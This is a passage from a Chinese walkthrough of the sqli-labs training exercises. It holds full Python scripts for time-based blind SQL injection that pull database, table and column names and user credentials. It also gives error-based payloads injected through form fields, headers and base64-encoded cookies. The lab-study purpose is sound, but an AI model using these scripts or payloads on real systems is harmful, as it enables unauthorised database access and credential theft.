    for i in range(50):  
        payload = "1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={} and sleep(0.1)#".format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = "1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {},1),{},1))={} and sleep(0.1)#".format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        payload = "1' or (select count(*) from users )={} and sleep(0.1)#".format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = "1' or ascii(substr((select concat(id,'---',username,'---',password) from users limit {},1),{},1))={} and sleep(0.1)#".format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-16:

判断注入点:

注入点为:")

1") or 1=sleep(1)#

使用python脚本爆破:

import requests  
import time  
# 模拟请求的一个库:  
url = "http://192.168.0.128:9020/Less-16/"  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码payload:  
        payload = '1") or length(database())={} and sleep(0.1)#'.format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  # 这是请求前的时间  
        requests.post(url, data=param)  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            payload = '1") or ascii(substr(database(),{},1))={} and sleep(0.1)#'.format(i,j)  
            param = {"uname": payload, "passwd": ""}  
            start_time = time.time()  
            requests.post(url, data=param)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        payload = '1") or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1)#'.format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            payload = '1") or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1)#'.format(i,j)  
            param = {"uname": payload, "passwd": ""}  
            start_time = time.time()  
            requests.post(url, data=param)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1)#'.format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        payload = '1") or (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")={} and sleep(0.1)#'.format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = '1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit {},1),{},1))={} and sleep(0.1)#'.format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        payload = '1") or (select count(*) from users )={} and sleep(0.1)#'.format(i)  
        param = {"uname": payload, "passwd": ""}  
        start_time = time.time()  
        requests.post(url, data=param)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                payload = '1") or ascii(substr((select concat(id,"---",username,"---",password) from users limit {},1),{},1))={} and sleep(0.1)#'.format(i,j,k)  
                param = {"uname": payload, "passwd": ""}  
                start_time = time.time()  
                requests.post(url, data=param)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

Less-17:

判断注入点:

通过源码分析:
check_input()中,对 username 进行各种转义的处理,所以此处不能使用username 进行注入
可以对password进行注入

使用updatexml报错注入:

' or (select updatexml(1,concat(0x7e,(select database())),1)) #

Less-18:

判断注入点:


本关我们这里从源代码直接了解到
对 uname 和 passwd 进行了 check_input() 函数的处理,所以我们在输入 uname 和 passwd 上进行注入是不行的,但是在代码中,我们看到了:insert()

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)VALUES ('$uagent','$IP', $uname)";


输入正确的用户密码网页回显User-Agent
因此我们使用报错注入

使用报错注入:

使用Burp抓包修改

修改为:

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Less-19:

判断注入点:

输入正确的用户名密码:

admin
admin


回显网页路径

Your Referer is: http://192.168.0.128:9020/Less-19/

因此可以通过修改User-Agent得到回显

使用报错注入:

使用Burp抓包修改User-Agent:

修改此处的信息:
使用extractvalue函数报错注入:

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Less-20:

判断注入点:

输入正确的用户密码

admin
admin


网页页面回显:

使用报错注入:

使用Burp抓包修改cookie:


'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Less-21:

判断注入点:

注入点为修改cookie:

YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkgYW5kICcxJz0nMQ==

修改cookie使用报错注入:

输入正确用户密码:

admin
admin


发现cookie经过了base64加密
因此我们使用的payload也要进行加密

admin'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

base64加密后为:

YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkgYW5kICcxJz0nMQ==

使用Burp修改抓包内容:




报错爆出相关信息


Tmx沐雪


动物装饰